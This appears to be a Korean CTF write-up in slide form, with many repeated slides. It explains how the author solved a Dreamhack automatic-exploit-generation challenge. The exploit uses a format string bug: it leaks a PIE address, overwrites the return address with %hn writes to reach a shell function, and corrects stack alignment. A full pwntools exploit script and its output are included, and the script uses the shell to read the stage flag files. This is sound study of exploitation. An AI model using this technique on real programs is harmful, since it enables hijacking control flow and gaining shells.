3. 문제 풀이

"%p%s%s%s%s%n"

ret addr

3. 문제 풀이

"%p%s%s%s%s%n"

ret addr

shell

0x557337ab32cf

3. 문제 풀이

"%p%s%s%s%s%n"

ret addr

shell

0x5573 0x37ab 0x32cf

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

shell_low = shell_addr & 0xffff
shell_middle = (shell_addr >> 16) & 0xffff
shell_high = (shell_addr >> 32) & 0xffff

low = shell_low

if shell_middle > shell_low:
    middle = shell_middle - shell_low
else:
    middle = 0x10000 + shell_middle - shell_low

if shell_high > shell_middle:
    high = shell_high - shell_middle
else:
    high = 0x10000 + shell_high - shell_middle

...
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

shell_low = shell_addr & 0xffff
shell_middle = (shell_addr >> 16) & 0xffff
shell_high = (shell_addr >> 32) & 0xffff

low = shell_low

if shell_middle > shell_low:
    middle = shell_middle - shell_low
else:
    middle = 0x10000 + shell_middle - shell_low

if shell_high > shell_middle:
    high = shell_high - shell_middle
else:
    high = 0x10000 + shell_high - shell_middle

...
```

앞에 쓰인 바이트 길이가 뒤에 쓰는 바이트 길이보다 큰 경우,
보수 방식의 계산법을 사용

3. 문제 풀이

"%p%s%s%s%s%n"

```
shell_high: 0x55f9
shell_middle: 0x2f9e
shell_low: 0x72cf

[*] Switching to interactive mode
$
```

```
pwndbg> p shell
$1 = {<text variable, no debug info>} 0x55f92f9e72cf <shell>
```

3. 문제 풀이

"%p%s%s%s%s%n"

Offset

3. 문제 풀이

"%p%s%s%s%s%n"

Offset

```
ph1l1lp@DESKTOP-3LHD5QI:~$ ./output.elf

[*] Welcome to FSAEG!

[*] Input : AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p

[*] Your input : AAAAAAAA 0x7ffe94d69e60 (nil) 0x7f22adb63887 0x11
(nil) (nil) (nil) (nil) (nil) (nil) 0x1 0x4141414141414141
```

3. 문제 풀이

"%p%s%s%s%s%n"

Offset

```
ph1l1lp@DESKTOP-3LHD5QI:~$ ./output.elf

[*] Welcome to FSAEG!

[*] Input : AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p

[*] Your input : AAAAAAAA 0x7ffe94d69e60 (nil) 0x7f22adb63887 0x11
(nil) (nil) (nil) (nil) (nil) (nil) 0x1 0x4141414141414141
```

3. 문제 풀이

"%p%s%s%s%s%n"

Offset = 12

```
ph1l1lp@DESKTOP-3LHD5QI:~$ ./output.elf

[*] Welcome to FSAEG!

[*] Input : AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p

[*] Your input : AAAAAAAA 0x7ffe94d69e60 (nil) 0x7f22adb63887 0x11
(nil) (nil) (nil) (nil) (nil) (nil) 0x1 0x4141414141414141
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

payload = b''
payload += f'%{low}c'.encode()
payload += f'%17$hn'.encode()
payload += f'%{middle}c'.encode()
payload += f'%18$hn'.encode()
payload += f'%{high}c'.encode()
payload += f'%19$hn'.encode()
payload += b'A' * (8 - (len(payload) % 16))
print(len(payload))
payload += p64(ret)
payload += p64(ret + 2)
payload += p64(ret + 4)

p.sendlineafter(b": ", payload)
...
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

payload = b''
payload += f'%{low}c'.encode()
payload += f'%17$hn'.encode()
payload += f'%{middle}c'.encode()
payload += f'%18$hn'.encode()
payload += f'%{high}c'.encode()
payload += f'%19$hn'.encode()
payload += b'A' * (8 - (len(payload) % 16))
print(len(payload))
payload += p64(ret)
payload += p64(ret + 2)
payload += p64(ret + 4)

p.sendlineafter(b": ", payload)
...
```

payload len: 40

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

payload = b''
payload += f'%{low}c'.encode()
payload += f'%17$hn'.encode()
payload += f'%{middle}c'.encode()
payload += f'%18$hn'.encode()
payload += f'%{high}c'.encode()
payload += f'%19$hn'.encode()
payload += b'A' * (8 - (len(payload) % 16))
print(len(payload))
payload += p64(ret)
payload += p64(ret + 2)
payload += p64(ret + 4)

p.sendlineafter(b": ", payload)
...
```

payload len: 40

offset + (40/8)

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

payload = b''
payload += f'%{low}c'.encode()
payload += f'%17$hn'.encode()
payload += f'%{middle}c'.encode()
payload += f'%18$hn'.encode()
payload += f'%{high}c'.encode()
payload += f'%19$hn'.encode()
payload += b'A' * (8 - (len(payload) % 16))
print(len(payload))
payload += p64(ret)
payload += p64(ret + 2)
payload += p64(ret + 4)

p.sendlineafter(b": ", payload)
...
```

payload len: 40

offset + (40/8)

= 17

3. 문제 풀이

"%p%s%s%s%s%n"

...

\x87%19`$hnx'/5\xfc\x7fgood

[*] Got EOF while reading in interactive
$

3. 문제 풀이

"%p%s%s%s%s%n"

...

\x87%19`$hnx'/5\xfc\x7fgood

[*] Got EOF while reading in interactive
$ ls
[*] Process './output.elf' stopped with exit code -11 (SIGSEGV) (pid 72163)
[*] Got EOF while sending in interactive

3. 문제 풀이

"%p%s%s%s%s%n"

...

\x87%19`$hnx'/5\xfc\x7fgood

```
[*] Got EOF while reading in interactive
$ ls
[*] Process './output.elf' stopped with exit code -11 (SIGSEGV) (pid 72163)
[*] Got EOF while sending in interactive
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
► 0x7fe718a34973 <do_system+115> movaps xmmword ptr [rsp], xmm1
<[0x7ffe7849e838] not aligned to 16 bytes>
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
► 0x7fe718a34973 <do_system+115> movaps xmmword ptr [rsp], xmm1
<[0x7ffe7849e838] not aligned to 16 bytes>
```

스택정렬 X

3. 문제 풀이

"%p%s%s%s%s%n"

```
.text:00000000000012CF ; int shell()
.text:00000000000012CF                 public shell
.text:00000000000012CF                 shell proc near
.text:00000000000012CF ; __unwind {
.text:00000000000012CF                 endbr64
.text:00000000000012D3                 push rbp
.text:00000000000012D4                 mov rbp, rsp
.text:00000000000012D7                 lea rax, aGood          ; "good"
.text:00000000000012DE                 mov rdi, rax            ; s
.text:00000000000012E1                 call _puts
.text:00000000000012E6                 lea rax, command        ; "/bin/sh"
.text:00000000000012ED                 mov rdi, rax            ; command
.text:00000000000012F0                 call _system
.text:00000000000012F5                 nop
.text:00000000000012F6                 pop rbp
.text:00000000000012F7                 retn
.text:00000000000012F7 ; } // starts at 12CF
.text:00000000000012F7 shell       endp
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
.text:00000000000012CF ; int shell()
.text:00000000000012CF                 public shell
.text:00000000000012CF                 shell proc near
.text:00000000000012CF ; __unwind {
.text:00000000000012CF                 endbr64
.text:00000000000012D3                 push rbp
.text:00000000000012D4                 mov rbp, rsp
.text:00000000000012D7                 lea rax, aGood          ; "good"
.text:00000000000012DE                 mov rdi, rax            ; s
.text:00000000000012E1                 call _puts
.text:00000000000012E6                 lea rax, command        ; "/bin/sh"
.text:00000000000012ED                 mov rdi, rax            ; command
.text:00000000000012F0                 call _system
.text:00000000000012F5                 nop
.text:00000000000012F6                 pop rbp
.text:00000000000012F7                 retn
.text:00000000000012F7 ; } // starts at 12CF
.text:00000000000012F7 shell       endp
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
pwndbg> p/x 0x12d4 - 0x12cf
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
pwndbg> p/x 0x12d4 - 0x12cf
$1 = 0x5
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

p.recvuntil(b'0x5').decode()
pie_leak = int('0x55' + p.recvuntil(' ')[0:11].decode(), 16)

pie_base = pie_leak - 0x2f8 - 0x1000
shell_addr = pie_base + shell
print(hex(shell_addr))

p.interactive()
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

p.recvuntil(b'0x5').decode()
pie_leak = int('0x55' + p.recvuntil(' ')[0:11].decode(), 16)

pie_base = pie_leak - 0x2f8 - 0x1000
shell_addr = pie_base + shell + 0x5
print(hex(shell_addr))

p.interactive()
```

3. 문제 풀이

"%p%s%s%s%s%n"

...

\x87%19`$hnx'/5\xfc\x7fgood

$

3. 문제 풀이

"%p%s%s%s%s%n"

...

\x87%19`$hnx'/5\xfc\x7fgood

$ ls

README.txt output.elf output.elf.id1 output.elf.nam
expolit.py ouput.elf.id0 output.elf.id2 output.elf.til

3. 문제 풀이

"%p%s%s%s%s%n"

3. 문제 풀이

"%p%s%s%s%s%n"

문제 설명

Description

취약한 바이너리를 자동으로 생성하는 프로그램이 실행되고 있습니다.
당신만의 Automatic Exploit Generation 스크립트를 제작해 플래그를 획득하세요!

20 스테이지로 이루어져 있습니다.
문제 당 timeout은 10초 입니다.
다음 스테이지로 넘어가기 위해서는, /tmp/subflag_*.txt에 존재하는 스테이지 별 flag를 획득한 뒤
부모 프로세스로 돌아와 (exit) 인증하시면 됩니다.
마지막 스테이지를 성공하면, 문제의 원본 플래그가 출력됩니다.
원본 플래그는 DH{...}, 스테이지 별 플래그는 SUBFLAG{...}의 포맷을 갖추고 있습니다.

- 문제 환경은 ubuntu:22.04 (ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d036716be49ba) 입니다.

3. 문제 풀이

"%p%s%s%s%s%n"

문제 설명

Description

취약한 바이너리를 자동으로 생성하는 프로그램이 실행되고 있습니다.
당신만의 Automatic Exploit Generation 스크립트를 제작해 플래그를 획득하세요!

20 스테이지로 이루어져 있습니다.
문제 당 timeout은 10초 입니다.
다음 스테이지로 넘어가기 위해서는, /tmp/subflag_*.txt에 존재하는 스테이지 별 flag를 획득한 뒤
부모 프로세스로 돌아와 (exit) 인증하시면 됩니다.
마지막 스테이지를 성공하면, 문제의 원본 플래그가 출력됩니다.
원본 플래그는 DH{...}, 스테이지 별 플래그는 SUBFLAG{...}의 포맷을 갖추고 있습니다.

- 문제 환경은 ubuntu:22.04 (ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d036716be49ba) 입니다.

3. 문제 풀이

"%p%s%s%s%s%n"

```
ph1l1lp@DESKTOP-3LHD5QI:~$ echo "...AAAAAAA=" | base64 -d > output2.elf
```

3. 문제 풀이

"%p%s%s%s%s%n"

...

$

$

[*] Got EOF while reading in interactive
$

3. 문제 풀이

"%p%s%s%s%s%n"

```python
from pwn import *

p = process('./output2.elf')
e = ELF('./output2.elf')

shell = e.sym['shell']

payload = '%p ' * 33 # len = 99
pause()
p.sendafter(b": ", payload)

p.interactive()
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
[*] Switching to interactive mode
$
[*] Your input :
0x7ffc7b6de540 (nil) 0x7fc47b415887 0x11 (nil) (nil) (nil) (nil) (nil) (nil) (nil)
(nil) (nil) (nil) 0x1 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x207025 0xb338519acb79ee00 0x1 0x7fc47b32ad90
(nil) 0x55719cf502f8
$
```

3. 문제 풀이

"%p%s%s%s%s%n"

```
[*] Switching to interactive mode
$
[*] Your input :
0x7ffc7b6de540 (nil) 0x7fc47b415887 0x11 (nil) (nil) (nil) (nil) (nil) (nil) (nil)
(nil) (nil) (nil) 0x1 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x207025 0xb338519acb79ee00 0x1 0x7fc47b32ad90
(nil) 0x55719cf502f8
$
```

1. 0x7ffc7b6de540

33. 0x55719cf502f8

3. 문제 풀이

"%p%s%s%s%s%n"

```
[*] Switching to interactive mode
$
[*] Your input :
0x7ffc7b6de540 (nil) 0x7fc47b415887 0x11 (nil) (nil) (nil) (nil) (nil) (nil) (nil)
(nil) (nil) (nil) 0x1 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x7025207025207025 0x2520702520702520
0x2070252070252070 0x207025 0xb338519acb79ee00 0x1 0x7fc47b32ad90
(nil) 0x55719cf502f8
$
```

1. 0x7ffc7b6de540
(고정)

33. 0x55719cf502f8
(랜덤)

3. 문제 풀이

"%p%s%s%s%s%n"

PIE base:

25, 27, 29, 31, 33, 37

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

for i in range(20):
    payload = (b"%p." * 19) + b' %33$p' + b' %29$p' + b' %31$p' b' %27$p' + b' %25$p' + b' %37$p'

    p.recvuntil(b': ')
    ret_addr = int(p.recvuntil(b',')[:-1], 16)
    ret = ret_addr + 0x2118
    print(hex(ret))

    p.sendafter(b": ", payload)

p.interactive()
```

3. 문제 풀이

"%p%s%s%s%s%n"

문제 설명

Description

취약한 바이너리를 자동으로 생성하는 프로그램이 실행되고 있습니다.
당신만의 Automatic Exploit Generation 스크립트를 제작해 플래그를 획득하세요!

20 스테이지로 이루어져 있습니다.
문제 당 timeout은 10초 입니다.
다음 스테이지로 넘어가기 위해서는, /tmp/subflag_*.txt에 존재하는 스테이지 별 flag를 획득한 뒤
부모 프로세스로 돌아와 (exit) 인증하시면 됩니다.
마지막 스테이지를 성공하면, 문제의 원본 플래그가 출력됩니다.
원본 플래그는 DH{...}, 스테이지 별 플래그는 SUBFLAG{...}의 포맷을 갖추고 있습니다.

- 문제 환경은 ubuntu:22.04 (ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d036716be49ba) 입니다.

3. 문제 풀이

"%p%s%s%s%s%n"

문제 설명

Description

취약한 바이너리를 자동으로 생성하는 프로그램이 실행되고 있습니다.
당신만의 Automatic Exploit Generation 스크립트를 제작해 플래그를 획득하세요!

20 스테이지로 이루어져 있습니다.
문제 당 timeout은 10초 입니다.
다음 스테이지로 넘어가기 위해서는, /tmp/subflag_*.txt에 존재하는 스테이지 별 flag를 획득한 뒤
부모 프로세스로 돌아와 (exit) 인증하시면 됩니다.
마지막 스테이지를 성공하면, 문제의 원본 플래그가 출력됩니다.
원본 플래그는 DH{...}, 스테이지 별 플래그는 SUBFLAG{...}의 포맷을 갖추고 있습니다.

- 문제 환경은 ubuntu:22.04 (ubuntu:22.04@sha256:817cfe4672284dcbfee885b1a66094fd907630d610cab329114d036716be49ba) 입니다.

3. 문제 풀이

"%p%s%s%s%s%n"

```
...

    p.sendlineafter(b": ", payload)
    p.sendline(b'cat /tmp/subflag_*.txt')
    p.recvuntil(b'good\n')
    sub_flag = p.recvuntil(b'}')[1:]
    p.sendline("exit")
    print("sub flag :", sub_flag)
    p.sendlineafter(b"flag : ", sub_flag)


p.interactive()
```

3. 문제 풀이

"%p%s%s%s%s%n"

전체코드:

```python
from pwn import *
p = remote('host3.dreamhack.games', 10242)
#p = process('./output.elf')
e = ELF('./output.elf')
#context.log_level = 'debug'
shell = e.sym['shell']
p.sendline(b'y')
for i in range(20):
    payload = b"AA%p," + (b"%p." * 19) + b' %33$p' + b' %29$p' + b' %31$p' b' %27$p' + b' %25$p' + b' %37$p'
    p.sendlineafter(b": ", payload) #0x2118
    print(len(payload))
    p.recvuntil(b': AA')
    ret_addr = int(p.recvuntil(b',')[:-1], 16)
    ret = ret_addr + 0x2118
    print(hex(ret))
    offset_len = p.recvuntil(b'4141').decode()
    dot = offset_len.count('.')
    offset = dot + 7
    print(offset)
    pie_where = offset + 12
    print(pie_where)
    p.recvuntil(b'0x5').decode()
    pie_leak = int('0x55'+p.recvuntil(' ')[0:11].decode(), 16)
    pie_base = pie_leak - 0x2f8 - 0x1000
    shell_addr = pie_base + shell + 5
    print(hex(shell_addr))
    shell_low = shell_addr & 0xffff
    shell_middle = (shell_addr >> 16) & 0xffff
    shell_high = (shell_addr >> 32) & 0xffff
    low = shell_low
    if shell_middle > shell_low:
        middle = shell_middle - shell_low
    else:
        middle = 0x10000 + shell_middle - shell_low
    if shell_high > shell_middle:
        high = shell_high - shell_middle
    else:
        high = 0x10000 + shell_high - shell_middle
    payload = b''
    payload += f'%{low}c'.encode()
    payload += f'%{offset}$hn'.encode()
    payload += f'%{middle}c'.encode()
    payload += f'%{offset+1}$hn'.encode()
    payload += f'%{high}c'.encode()
    payload += f'%{offset+2}$hn'.encode()
    payload += b'A' * (8 - (len(payload) % 16))
    payload += p64(ret)
    payload += p64(ret + 2)
    payload += p64(ret + 4)
    p.sendlineafter(b": ", payload)
    p.sendline(b'cat /tmp/subflag_*.txt')
    p.recvuntil(b'good₩n')
    sub_flag = p.recvuntil(b'}')[1:]
    p.sendline("exit")
    print("sub flag :", b'S'+sub_flag)
    p.sendlineafter(b"flag : ", b'S'+sub_flag)
p.interactive()
```

3. 문제 풀이

"%p%s%s%s%s%n"

실행 결과:

```
...

sub flag : b'SUBFLAG{[redacted]
98
0x7ffe080679b8
25
37
0x555eafbabb2d4
sub flag : b'SUBFLAG{[redacted]
98
0x7ffc7cc996e8
19
31
0x5563b2e6d52d4
sub flag : b'SUBFLAG{[redacted]
[*] Switching to interactive mode
[*] Congrats!
[*] Going next level...
[*] You solved every challenge! :
DH{[redacted]
[*] Got EOF while reading in interactive
$
```

마무리

"%p%s%s%s%s%n"

마무리

"%p%s%s%s%s%n"

문제 푸는데 걸린시간: 8일

마무리

"%p%s%s%s%s%n"

문제 푸는데 걸린시간: 8일

느낀점

마무리

"%p%s%s%s%s%n"

문제 푸는데 걸린시간: 8일

느낀점

1. Format String Bug가 단순히 문자열 포맷팅 도구가 아닌,
   메모리 조작과 데이터 유출에까지 악용될 수 있는 강력한 취약점임을 깊이 이해할 수 있었다.

마무리

"%p%s%s%s%s%n"

문제 푸는데 걸린시간: 8일

느낀점

1. Format String Bug가 단순히 문자열 포맷팅 도구가 아닌,
   메모리 조작과 데이터 유출에까지 악용될 수 있는 강력한 취약점임을 깊이 이해할 수 있었다.

2. 스택 정렬이 익스플로잇 과정에서 핵심적인 요소임을 깨닫게 되었다.

마무리

"%p%s%s%s%s%n"

문제 푸는데 걸린시간: 8일

느낀점

1. Format String Bug가 단순히 문자열 포맷팅 도구가 아닌,
   메모리 조작과 데이터 유출에까지 악용될 수 있는 강력한 취약점임을 깊이 이해할 수 있었다.

2. 스택 정렬이 익스플로잇 과정에서 핵심적인 요소임을 깨닫게 되었다.

3. Format String Bug를 활용해 퍼즐을 풀어나가는 과정이
   논리 게임을 하는 것처럼 흥미로웠고, 재밌었다.

“%p%s%s%s%s%n”

Q&A

"%p%s%s%s%s%n"

감사합니다!